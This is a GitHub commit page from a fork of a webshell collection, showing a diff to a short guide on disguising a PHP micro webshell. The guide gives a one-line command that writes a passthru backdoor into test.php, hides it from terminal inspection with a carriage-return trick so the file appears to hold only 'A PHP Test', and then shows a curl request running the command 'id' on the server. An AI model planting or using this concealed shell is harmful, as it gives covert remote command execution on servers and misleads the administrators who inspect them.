forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Update and rename 2015-09-12.php to 2015-09-12.md
- Loading branch information
Showing
1 changed file
with
5 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,15 @@ | ||
Disguising a PHP Micro Webshell | ||
|
||
` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` | ||
`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` | ||
|
||
url : http://t.co/YFm6QlpK0k | ||
|
||
vist browser page show `A PHP Test` | ||
|
||
then in console | ||
then in console use `cat xxx.php` | ||
it show `<?php echo 'A PHP Test ';" ?>` | ||
|
||
then in console run | ||
`curl -d 1=id http://www.xxx.xx/xx.php` | ||
|
||
it like in console show command `id` |